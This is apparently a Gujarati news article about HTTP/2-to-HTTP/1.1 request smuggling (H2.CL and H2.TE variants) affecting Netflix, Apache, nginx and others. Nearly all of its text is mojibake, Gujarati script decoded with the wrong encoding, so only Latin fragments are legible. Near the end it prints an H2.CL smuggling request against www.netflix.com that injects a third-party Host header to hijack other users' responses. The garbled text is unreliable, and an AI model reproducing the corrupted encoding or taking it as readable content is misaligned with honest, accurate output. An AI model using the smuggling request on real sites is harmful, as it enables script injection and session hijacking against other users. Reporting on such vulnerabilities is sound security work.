เชซเซเชฐเชจเซเชŸ-เชเชจเซเชก-เชฌเซ‡เช•เชเชจเซเชก เชธเชฟเชธเซเชŸเชฎเซ‹ เชชเชฐ เชจเชตเซ‹ เชนเซเชฎเชฒเซ‹ เชœเซ‡ เชคเชฎเชจเซ‡ เชตเชฟเชจเช‚เชคเซ€เช“เชฎเชพเช‚ เชซเชพเชšเชฐ เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡

เชตเซ‡เชฌ เชธเชฟเชธเซเชŸเชฎเซเชธ เช•เซ‡ เชœเซ‡เชฎเชพเช‚ เชซเซเชฐเชจเซเชŸ เชเชจเซเชก HTTP/2 เชฆเซเชตเชพเชฐเชพ เช•เชจเซ‡เช•เซเชถเชจเซเชธ เชธเซเชตเซ€เช•เชพเชฐเซ‡ เช›เซ‡ เช…เชจเซ‡ HTTP/1.1 เชฆเซเชตเชพเชฐเชพ เชฌเซ‡เช•เชเชจเซเชก เชชเชฐ เชŸเซเชฐเชพเชจเซเชธเชฎเชฟเชŸ เช•เชฐเซ‡ เช›เซ‡ เชคเซ‡ "HTTP เชตเชฟเชจเช‚เชคเซ€ เชฆเชพเชฃเชšเซ‹เชฐเซ€" เชนเซเชฎเชฒเชพเชจเชพ เชจเชตเชพ เชชเซเชฐเช•เชพเชฐเชจเซ‹ เช–เซเชฒเชพเชธเซ‹ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เช›เซ‡, เชœเซ‡ เช–เชพเชธ เชกเชฟเชเชพเช‡เชจ เช•เชฐเซ‡เชฒเซ€ เช•เซเชฒเชพเชฏเชจเซเชŸ เชตเชฟเชจเช‚เชคเซ€เช“ เชฎเซ‹เช•เชฒเซ€เชจเซ‡ เชชเชฐเชตเชพเชจเช—เซ€ เช†เชชเซ‡ เช›เซ‡. เชซเซเชฐเชจเซเชŸเชเชจเซเชก เช…เชจเซ‡ เชฌเซ‡เช•เชเชจเซเชก เชตเชšเซเชšเซ‡ เชธเชฎเชพเชจ เชชเซเชฐเชตเชพเชนเชฎเชพเช‚ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เชฐเชพเชฏเซ‡เชฒ เช…เชจเซเชฏ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช“เชจเซ€ เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ€ เชธเชพเชฎเช—เซเชฐเซ€เชฎเชพเช‚ เชซเชพเชšเชฐ. เชนเซเชฎเชฒเชพเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชพเชฏเชฆเซ‡เชธเชฐ เชตเซ‡เชฌเชธเชพเช‡เชŸ เชธเชพเชฅเซ‡เชจเชพ เชธเชคเซเชฐเชฎเชพเช‚ เชฆเซ‚เชทเชฟเชค JavaScript เช•เซ‹เชก เชฆเชพเช–เชฒ เช•เชฐเชตเชพ, เชเช•เซเชธเซ‡เชธ เชชเซเชฐเชคเชฟเชฌเช‚เชง เชธเชฟเชธเซเชŸเชฎเซ‹เชจเซ‡ เชฌเชพเชฏเชชเชพเชธ เช•เชฐเชตเชพ เช…เชจเซ‡ เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชชเชฐเชฟเชฎเชพเชฃเซ‹เชจเซ‡ เช…เชŸเช•เชพเชตเชตเชพ เชฎเชพเชŸเซ‡ เชฅเชˆ เชถเช•เซ‡ เช›เซ‡.

เช† เชธเชฎเชธเซเชฏเชพ เชตเซ‡เชฌ เชชเซเชฐเซ‹เช•เซเชธเซ€, เชฒเซ‹เชก เชฌเซ‡เชฒเซ‡เชจเซเชธเชฐเซเชธ, เชตเซ‡เชฌ เชเช•เซเชธเชฟเชฒเชฐเซ‡เชŸเชฐเซเชธ, เช•เชจเซเชŸเซ‡เชจเซเชŸ เชกเชฟเชฒเชฟเชตเชฐเซ€ เชธเชฟเชธเซเชŸเชฎเซเชธ เช…เชจเซ‡ เช…เชจเซเชฏ เชฐเซ‚เชชเชฐเซ‡เช–เชพเช‚เช•เชจเซ‹เชจเซ‡ เช…เชธเชฐ เช•เชฐเซ‡ เช›เซ‡ เชœเซ‡เชฎเชพเช‚ เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ‡ เชซเซเชฐเชจเซเชŸ-เชเชจเซเชก-เชŸเซ-เชฌเซ‡เช•เชเชจเซเชก เชฐเซ€เชคเซ‡ เชฐเซ€เชกเชพเชฏเชฐเซ‡เช•เซเชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เช…เชญเซเชฏเชพเชธเชจเชพ เชฒเซ‡เช–เช•เซ‡ Netflix, Verizon, Bitbucket, Netlify CDN เช…เชจเซ‡ Atlassian เชจเซ€ เชธเชฟเชธเซเชŸเชฎเซ‹ เชชเชฐ เชนเซเชฎเชฒเซ‹ เช•เชฐเชตเชพเชจเซ€ เชถเช•เซเชฏเชคเชพ เชฆเชฐเซเชถเชพเชตเซ€ เชนเชคเซ€ เช…เชจเซ‡ เชจเชฌเชณเชพเชˆเช“เชจเซ‡ เช“เชณเช–เชตเชพ เชฎเชพเชŸเซ‡ เชˆเชจเชพเชฎ เช•เชพเชฐเซเชฏเช•เซเชฐเชฎเซ‹เชฎเชพเช‚ 56 เชนเชœเชพเชฐ เชกเซ‹เชฒเชฐ เชฎเซ‡เชณเชตเซเชฏเชพ เชนเชคเชพ. F5 เชจเซ‡เชŸเชตเชฐเซเช• เช‰เชคเซเชชเชพเชฆเชจเซ‹เชฎเชพเช‚ เชชเชฃ เชธเชฎเชธเซเชฏเชพเชจเซ€ เชชเซเชทเซเชŸเชฟ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เช›เซ‡. เชธเชฎเชธเซเชฏเชพ เช†เช‚เชถเชฟเช• เชฐเซ€เชคเซ‡ Apache HTTP เชธเชฐเซเชตเชฐ (CVE-2021-33193) เชฎเชพเช‚ mod_proxy เชจเซ‡ เช…เชธเชฐ เช•เชฐเซ‡ เช›เซ‡, เชธเช‚เชธเซเช•เชฐเชฃ 2.4.49 เชฎเชพเช‚ เชธเซเชงเชพเชฐเชพเชจเซ€ เช…เชชเซ‡เช•เซเชทเชพ เช›เซ‡ (เชตเชฟเช•เชพเชธเช•เชฐเซเชคเชพเช“เชจเซ‡ เชฎเซ‡เชจเซ€ เชถเชฐเซ‚เช†เชคเชฎเชพเช‚ เชธเชฎเชธเซเชฏเชพเชจเซ€ เชœเชพเชฃ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€ เช…เชจเซ‡ เชคเซ‡เชจเซ‡ เช เซ€เช• เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ 3 เชฎเชนเชฟเชจเชพ เช†เชชเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเชพ เชนเชคเชพ). nginx เชฎเชพเช‚, "เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ" เช…เชจเซ‡ "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—" เชนเซ‡เชกเชฐเซ‹เชจเซ‡ เชเช•เชธเชพเชฅเซ‡ เชธเซเชชเชทเซเชŸ เช•เชฐเชตเชพเชจเซ€ เช•เซเชทเชฎเชคเชพเชจเซ‡ เช›เซ‡เชฒเซเชฒเซ€ เชฐเชฟเชฒเซ€เช (1.21.1) เชฎเชพเช‚ เช…เชตเชฐเซ‹เชงเชฟเชค เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€. เชเชŸเซ‡เช• เชŸเซ‚เชฒเซเชธ เชชเชนเซ‡เชฒเซ‡เชฅเซ€ เชœ Burp เชŸเซ‚เชฒเช•เซ€เชŸเชฎเชพเช‚ เชธเชพเชฎเซ‡เชฒ เช›เซ‡ เช…เชจเซ‡ เชคเซ‡ เชŸเชฐเซเชฌเซ‹ เชˆเชจเซเชŸเซเชฐเซเชกเชฐ เชเช•เซเชธเชŸเซ‡เชจเซเชถเชจเชจเชพ เชฐเซ‚เชชเชฎเชพเช‚ เช‰เชชเชฒเชฌเซเชง เช›เซ‡.

เชŸเซเชฐเชพเชซเชฟเช•เชฎเชพเช‚ เชตเซ‡เชกเชฟเช‚เช— เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ€ เชจเชตเซ€ เชชเชฆเซเชงเชคเชฟเชจเชพ เชธเช‚เชšเชพเชฒเชจเชจเซ‹ เชธเชฟเชฆเซเชงเชพเช‚เชค เช เชœ เชธเช‚เชถเซ‹เชงเช• เชฆเซเชตเชพเชฐเชพ เชฌเซ‡ เชตเชฐเซเชท เชชเชนเซ‡เชฒเชพเช‚ เช“เชณเช–เชตเชพเชฎเชพเช‚ เช†เชตเซ‡เชฒเซ€ เชจเชฌเชณเชพเชˆ เชธเชฎเชพเชจ เช›เซ‡, เชชเชฐเช‚เชคเซ HTTP/1.1 เชชเชฐ เชตเชฟเชจเช‚เชคเซ€เช“ เชธเซเชตเซ€เช•เชพเชฐเชคเชพ เชซเซเชฐเชจเซเชŸเชเชจเซเชกเซเชธ เชธเซเชงเซ€ เชฎเชฐเซเชฏเชพเชฆเชฟเชค เช›เซ‡. เชšเชพเชฒเซ‹ เชฏเชพเชฆ เช•เชฐเซ€เช เช•เซ‡ เชซเซเชฐเชจเซเชŸเชเชจเซเชก-เชฌเซ‡เช•เชเชจเซเชก เชธเซเช•เซ€เชฎเชฎเชพเช‚, เช•เซเชฒเชพเชฏเช‚เชŸเชจเซ€ เชตเชฟเชจเช‚เชคเซ€เช“ เชตเชงเชพเชฐเชพเชจเชพ เชจเซ‹เชก เชฆเซเชตเชพเชฐเชพ เชชเซเชฐเชพเชชเซเชค เชฅเชพเชฏ เช›เซ‡ - เชซเซเชฐเชจเซเชŸเชเชจเซเชก, เชœเซ‡ เชฌเซ‡เช•เชเชจเซเชก เชธเชพเชฅเซ‡ เชฒเชพเช‚เชฌเชพ เชธเชฎเชฏ เชธเซเชงเซ€ เชšเชพเชฒเชคเซเช‚ TCP เช•เชจเซ‡เช•เซเชถเชจ เชธเซเชฅเชพเชชเชฟเชค เช•เชฐเซ‡ เช›เซ‡, เชœเซ‡ เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ€ เชธเซ€เชงเซ€ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เชฐเซ‡ เช›เซ‡. เช† เชธเชพเชฎเชพเชจเซเชฏ เช•เชจเซ‡เช•เซเชถเชจ เชฆเซเชตเชพเชฐเชพ, เชตเชฟเชตเชฟเชง เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช“เชจเซ€ เชตเชฟเชจเช‚เชคเซ€เช“ เชธเชพเชฎเชพเชจเซเชฏ เชฐเซ€เชคเซ‡ เชชเซเชฐเชธเชพเชฐเชฟเชค เชฅเชพเชฏ เช›เซ‡, เชœเซ‡ HTTP เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒ เชฆเซเชตเชพเชฐเชพ เช…เชฒเช— เช•เชฐเซ€เชจเซ‡ เชเช• เชชเช›เซ€ เชเช• เชธเชพเช‚เช•เชณเชจเซ‡ เช…เชจเซเชธเชฐเซ‡ เช›เซ‡.

เช•เซเชฒเชพเชธเชฟเช• "HTTP เชตเชฟเชจเช‚เชคเซ€ เชฆเชพเชฃเชšเซ‹เชฐเซ€" เชนเซเชฎเชฒเซ‹ เช เชนเช•เซ€เช•เชค เชชเชฐ เช†เชงเชพเชฐเชฟเชค เชนเชคเซ‹ เช•เซ‡ เชซเซเชฐเชจเซเชŸเชเชจเซเชก เช…เชจเซ‡ เชฌเซ‡เช•เชเชจเซเชก HTTP เชนเซ‡เชกเชฐเซ‹ "เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ" (เชตเชฟเชจเช‚เชคเชฟเชฎเชพเช‚ เชกเซ‡เชŸเชพเชจเซเช‚ เช•เซเชฒ เช•เชฆ เชจเช•เซเช•เซ€ เช•เชฐเซ‡ เช›เซ‡) เช…เชจเซ‡ "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: เช–เช‚เชกเชฟเชค" (เชชเชฐเชตเชพเชจเช—เซ€ เช†เชชเซ‡ เช›เซ‡) เชจเชพ เช‰เชชเชฏเซ‹เช—เชจเซเช‚ เช…เชฐเซเชฅเช˜เชŸเชจ เช•เชฐเซ‡ เช›เซ‡. เชญเชพเช—เซ‹เชฎเชพเช‚ เชŸเซเชฐเชพเชจเซเชธเชซเชฐ เช•เชฐเชตเชพเชจเซ‹ เชกเซ‡เชŸเชพ) เช…เชฒเช— เชฐเซ€เชคเซ‡. . เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชœเซ‹ เชซเซเชฐเชจเซเชŸเชเชจเซเชก เชซเช•เซเชค "เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ" เชจเซ‡ เชธเชชเซ‹เชฐเซเชŸ เช•เชฐเซ‡ เช›เซ‡ เชชเชฐเช‚เชคเซ "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: เชšเซเช‚เช•เซเชก" เชจเซ‡ เช…เชตเช—เชฃเซ‡ เช›เซ‡, เชคเซ‹ เชนเซเชฎเชฒเชพเช–เซ‹เชฐ เชตเชฟเชจเช‚เชคเซ€ เชฎเซ‹เช•เชฒเซ€ เชถเช•เซ‡ เช›เซ‡ เชœเซ‡เชฎเชพเช‚ "เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ" เช…เชจเซ‡ "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: เชšเช‚เช•เซเชก" เชนเซ‡เชกเชฐ เชฌเช‚เชจเซ‡ เชนเซ‹เชฏ, เชชเชฐเช‚เชคเซ เช•เชฆ "เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ" เช›เซ‡ เชคเซ‡ เชšเช‚เช• เช•เชฐเซ‡เชฒ เชธเชพเช‚เช•เชณเชจเชพ เช•เชฆ เชธเชพเชฅเซ‡ เชฎเซ‡เชณ เช–เชพเชคเซเช‚ เชจเชฅเซ€. เช† เช•เชฟเชธเซเชธเชพเชฎเชพเช‚, เชซเซเชฐเชจเซเชŸเชเชจเซเชก "เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ" เช…เชจเซเชธเชพเชฐ เชตเชฟเชจเช‚เชคเซ€ เชชเชฐ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เชฐเชถเซ‡ เช…เชจเซ‡ เชฐเซ€เชกเชพเชฏเชฐเซ‡เช•เซเชŸ เช•เชฐเชถเซ‡, เช…เชจเซ‡ เชฌเซ‡เช•เชเชจเซเชก "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: เชšเช‚เช•เซเชก" เชชเชฐ เช†เชงเชพเชฐเชฟเชค เชฌเซเชฒเซ‹เช• เชชเซ‚เชฐเซเชฃ เชฅเชตเชพเชจเซ€ เชฐเชพเชน เชœเซ‹เชถเซ‡ เช…เชจเซ‡ เชนเซเชฎเชฒเชพเช–เซ‹เชฐเชจเซ€ เชตเชฟเชจเช‚เชคเซ€เชจเซ€ เชฌเชพเช•เซ€เชจเซ€ เชชเซ‚เช‚เช›เชกเซ€ เช•เชฐเชถเซ‡. เช†เช—เชณ เชชเซเชฐเชธเชพเชฐเชฟเชค เช•เซ‹เชˆ เชฌเซ€เชœเชพเชจเซ€ เชตเชฟเชจเช‚เชคเซ€เชจเซ€ เชถเชฐเซ‚เช†เชคเชฎเชพเช‚ เชฐเชนเซ‹.

เชŸเซ‡เช•เซเชธเซเชŸ เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒ HTTP/1.1เชฅเซ€ เชตเชฟเชชเชฐเซ€เชค, เชœเซ‡ เชฒเชพเช‡เชจ เชฒเซ‡เชตเชฒ เชชเชฐ เชตเชฟเชถเซเชฒเซ‡เชทเชฟเชค เชฅเชพเชฏ เช›เซ‡, HTTP/2 เช เชฌเชพเชˆเชจเชฐเซ€ เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒ เช›เซ‡ เช…เชจเซ‡ เชชเซ‚เชฐเซเชต-เชจเชฟเชฐเซเชฆเชฟเชทเซเชŸ เช•เชฆเชจเชพ เชกเซ‡เชŸเชพ เชฌเซเชฒเซ‹เช•เซเชธเชจเซ€ เชนเซ‡เชฐเชซเซ‡เชฐ เช•เชฐเซ‡ เช›เซ‡. เชœเซ‹ เช•เซ‡, HTTP/2 เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ‡ เช›เซ‡ เชœเซ‡ เชจเชฟเชฏเชฎเชฟเชค HTTP เชนเซ‡เชกเชฐเซ‹เชจเซ‡ เช…เชจเซเชฐเซ‚เชช เชนเซ‹เชฏ เช›เซ‡. HTTP/1.1 เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒ เชฆเซเชตเชพเชฐเชพ เชฌเซ‡เช•เชเชจเซเชก เชธเชพเชฅเซ‡ เช•เซเชฐเชฟเชฏเชพเชชเซเชฐเชคเชฟเช•เซเชฐเชฟเชฏเชพเชจเชพ เช•เชฟเชธเซเชธเชพเชฎเชพเช‚, เชซเซเชฐเชจเซเชŸเชเชจเซเชก เช† เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐเซ‹เชจเซ‡ เชธเชฎเชพเชจ HTTP เชนเซ‡เชกเชฐเซ‹ HTTP/1.1 เชฎเชพเช‚ เช…เชจเซเชตเชพเชฆเชฟเชค เช•เชฐเซ‡ เช›เซ‡. เชธเชฎเชธเซเชฏเชพ เช เช›เซ‡ เช•เซ‡ เชฌเซ‡เช•เชเชจเซเชก เชฎเซ‚เชณ เชตเชฟเชจเช‚เชคเซ€เชจเชพ เชชเชฐเชฟเชฎเชพเชฃเซ‹ เชตเชฟเชถเซ‡เชจเซ€ เชฎเชพเชนเชฟเชคเซ€ เชตเชฟเชจเชพ, เชซเซเชฐเชจเซเชŸเชเชจเซเชก เชฆเซเชตเชพเชฐเชพ เชธเซ‡เชŸ เช•เชฐเซ‡เชฒเชพ HTTP เชนเซ‡เชกเชฐเซ‹เชจเชพ เช†เชงเชพเชฐเซ‡ เชธเซเชŸเซเชฐเซ€เชฎเชจเซ‡ เชชเชพเชฐเซเชธ เช•เชฐเชตเชพ เชตเชฟเชถเซ‡ เชจเชฟเชฐเซเชฃเชฏเซ‹ เชฒเซ‡ เช›เซ‡.

เช–เชพเชธ เช•เชฐเซ€เชจเซ‡, เชฎเซ‚เชฒเซเชฏเซ‹ "เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ" เช…เชจเซ‡ "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเซเช•เซ‹เชกเชฟเช‚เช—" เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐเชจเชพ เชธเซเชตเชฐเซ‚เชชเชฎเชพเช‚ เชชเซเชฐเชธเชพเชฐเชฟเชค เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡, เชคเซ‡ เชนเช•เซ€เช•เชค เชนเซ‹เชตเชพ เช›เชคเชพเช‚ เช•เซ‡ เชคเซ‡เช“ HTTP/2 เชฎเชพเช‚ เช‰เชชเชฏเซ‹เช—เชฎเชพเช‚ เชฒเซ‡เชตเชพเชคเชพ เชจเชฅเซ€, เช•เชพเชฐเชฃ เช•เซ‡ เชคเชฎเชพเชฎ เชกเซ‡เชŸเชพเชจเซเช‚ เช•เชฆ เชจเชฟเชฐเซเชงเชพเชฐเชฟเชค เช›เซ‡. เชเช• เช…เชฒเช— เช•เซเชทเซ‡เชคเซเชฐเชฎเชพเช‚. เชœเซ‹ เช•เซ‡, HTTP/2 เชตเชฟเชจเช‚เชคเซ€เชจเซ‡ HTTP/1.1 เชฎเชพเช‚ เช•เชจเซเชตเชฐเซเชŸ เช•เชฐเชตเชพเชจเซ€ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เชฆเชฐเชฎเชฟเชฏเชพเชจ, เช† เชนเซ‡เชกเชฐเซ‹ เชตเชนเชจ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ เช…เชจเซ‡ เชฌเซ‡เช•เชเชจเซเชกเชจเซ‡ เชฎเซ‚เช‚เชเชตเซ€ เชถเช•เซ‡ เช›เซ‡. เชคเซเชฏเชพเช‚ เชฌเซ‡ เชฎเซเช–เซเชฏ เชนเซเชฎเชฒเชพ เชตเซ‡เชฐเชฟเช…เชจเซเชŸเซเชธ เช›เซ‡: H2.TE เช…เชจเซ‡ H2.CL, เชœเซ‡เชฎเชพเช‚ เชฌเซ‡เช•เชเชจเซเชกเชจเซ‡ เช–เซ‹เชŸเชพ เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเซเช•เซ‹เชกเชฟเช‚เช— เช…เชฅเชตเชพ เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆเชจเชพ เชฎเซ‚เชฒเซเชฏ เชฆเซเชตเชพเชฐเชพ เช—เซ‡เชฐเชฎเชพเชฐเซเช—เซ‡ เชฆเซ‹เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ เชœเซ‡ เชซเซเชฐเชจเซเชŸเชเชจเซเชก เชฆเซเชตเชพเชฐเชพ เชซเซเชฐเชจเซเชŸเชเชจเซเชก เชฆเซเชตเชพเชฐเชพ เชชเซเชฐเชพเชชเซเชค เช•เชฐเซ‡เชฒเซ€ เชตเชฟเชจเช‚เชคเซ€เชจเชพ เชถเชฐเซ€เชฐเชจเชพ เชตเชพเชธเซเชคเชตเชฟเช• เช•เชฆเชจเซ‡ เช…เชจเซเชฐเซ‚เชช เชจเชฅเซ€. HTTP/2 เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒ.

เชซเซเชฐเชจเซเชŸ-เชเชจเซเชก-เชฌเซ‡เช•เชเชจเซเชก เชธเชฟเชธเซเชŸเชฎเซ‹ เชชเชฐ เชจเชตเซ‹ เชนเซเชฎเชฒเซ‹ เชœเซ‡ เชคเชฎเชจเซ‡ เชตเชฟเชจเช‚เชคเซ€เช“เชฎเชพเช‚ เชซเชพเชšเชฐ เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡

H2.CL เชนเซเชฎเชฒเชพเชจเซเช‚ เช‰เชฆเชพเชนเชฐเชฃ Netflix เชจเซ‡ HTTP/2 เชตเชฟเชจเช‚เชคเซ€ เชฎเซ‹เช•เชฒเชคเซ€ เชตเช–เชคเซ‡ เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆเชจเชพ เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐเชฎเชพเช‚ เช–เซ‹เชŸเชพ เช•เชฆเชจเซ‹ เช‰เชฒเซเชฒเซ‡เช– เช•เชฐเชตเชพเชจเซเช‚ เช›เซ‡. เช† เชตเชฟเชจเช‚เชคเชฟ HTTP/1.1 เชฆเซเชตเชพเชฐเชพ เชฌเซ‡เช•เชเชจเซเชกเชจเซ‡ เชเช•เซเชธเซ‡เชธ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชธเชฎเชพเชจ HTTP เชนเซ‡เชกเชฐ เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆเชจเชพ เช‰เชฎเซ‡เชฐเชพ เชคเชฐเชซ เชฆเซ‹เชฐเซ€ เชœเชพเชฏ เช›เซ‡, เชชเชฐเช‚เชคเซ เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆเชฎเชพเช‚เชจเซเช‚ เช•เชฆ เชตเชพเชธเซเชคเชตเชฟเช• เช•เชฐเชคเชพเช‚ เช“เช›เซเช‚ เชจเชฟเชฐเซเชฆเชฟเชทเซเชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเซ‹เชตเชพเชฅเซ€, เชชเซ‚เช‚เช›เชกเซ€เชฎเชพเช‚เชจเชพ เชกเซ‡เชŸเชพเชจเชพ เชญเชพเช— เชชเชฐ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เช†เช—เชพเชฎเซ€ เชตเชฟเชจเช‚เชคเซ€เชจเซ€ เชถเชฐเซ‚เช†เชค.

เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 เชนเซ‹เชธเซเชŸเชจเซ€ เชตเชฟเชจเช‚เชคเซ€ เช•เชฐเซ‹: 02.rs?x.netflix.com Foo: bar

เชฌเซ‡เช•เชเชจเซเชก เชชเชฐ เชฎเซ‹เช•เชฒเชตเชพเชฎเชพเช‚ เช†เชตเซ‡เชฒเซ€ เชตเชฟเชจเช‚เชคเซ€เชฎเชพเช‚ เชชเชฐเชฟเชฃเชฎเชถเซ‡: POST /n HTTP/1.1 เชนเซ‹เชธเซเชŸ: www.netflix.com เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ: 4 abcdGET /n HTTP/1.1 เชนเซ‹เชธเซเชŸ: 02.rs?x.netflix.com Foo: bar

เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆเชจเซเช‚ เชฎเซ‚เชฒเซเชฏ 4 เชนเซ‹เชตเชพเชฅเซ€, เชฌเซ‡เช•เชเชจเซเชก เชตเชฟเชจเช‚เชคเซ€เชจเชพ เชฎเซเช–เซเชฏ เชญเชพเช— เชคเชฐเซ€เช•เซ‡ เชซเช•เซเชค "abcd" เชธเซเชตเซ€เช•เชพเชฐเชถเซ‡ เช…เชจเซ‡ เชฌเชพเช•เซ€เชจเชพ "GET /n HTTP/1.1..." เชชเชฐ เช…เชจเซเช—เชพเชฎเซ€ เชตเชฟเชจเช‚เชคเซ€เชจเซ€ เชถเชฐเซ‚เช†เชค เชคเชฐเซ€เช•เซ‡ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡. เช…เชจเซเชฏ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชธเชพเชฅเซ‡ เชธเช‚เช•เชณเชพเชฏเซ‡เชฒ. เชคเชฆเชจเซเชธเชพเชฐ, เชธเซเชŸเซเชฐเซ€เชฎ เชกเชฟเชธเชฟเช‚เช•เซเชฐเซ‹เชจเชพเช‡เช เชฅเชˆ เชœเชถเซ‡ เช…เชจเซ‡ เช†เช—เชฒเซ€ เชตเชฟเชจเช‚เชคเซ€เชจเชพ เชœเชตเชพเชฌเชฎเชพเช‚, เชฌเชจเชพเชตเชŸเซ€ เชตเชฟเชจเช‚เชคเซ€ เชชเชฐ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เชฐเชตเชพเชจเซเช‚ เชชเชฐเชฟเชฃเชพเชฎ เชœเชพเชฐเซ€ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡. Netflix เชจเชพ เช•เชฟเชธเซเชธเชพเชฎเชพเช‚, เชกเชฎเซ€ เชตเชฟเชจเช‚เชคเซ€เชฎเชพเช‚ "เชฏเชœเชฎเชพเชจ:" เชนเซ‡เชกเชฐเชฎเชพเช‚ เชคเซƒเชคเซ€เชฏ-เชชเช•เซเชท เชนเซ‹เชธเซเชŸเชจเซ‹ เช‰เชฒเซเชฒเซ‡เช– เช•เชฐเชตเชพเชฅเซ€ เช•เซเชฒเชพเชฏเช‚เชŸ "เชธเซเชฅเชพเชจ: https://02.rs?x.netflix.com/n" เชชเซเชฐเชคเชฟเชธเชพเชฆ เชชเชฐเชค เช•เชฐเซ‡ เช›เซ‡ เช…เชจเซ‡ Netflix เชธเชพเช‡เชŸเชจเชพ เชธเช‚เชฆเชฐเซเชญเชฎเชพเช‚ เชคเชฎเชพเชฐเซ‹ JavaScript เช•เซ‹เชก เชšเชฒเชพเชตเชตเชพ เชธเชนเชฟเชค, เช•เซเชฒเชพเชฏเชจเซเชŸเชจเซ‡ เชฎเชจเชธเซเชตเซ€ เชธเชพเชฎเช—เซเชฐเซ€ เชฎเซ‹เช•เชฒเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ€ เช›เซ‡.

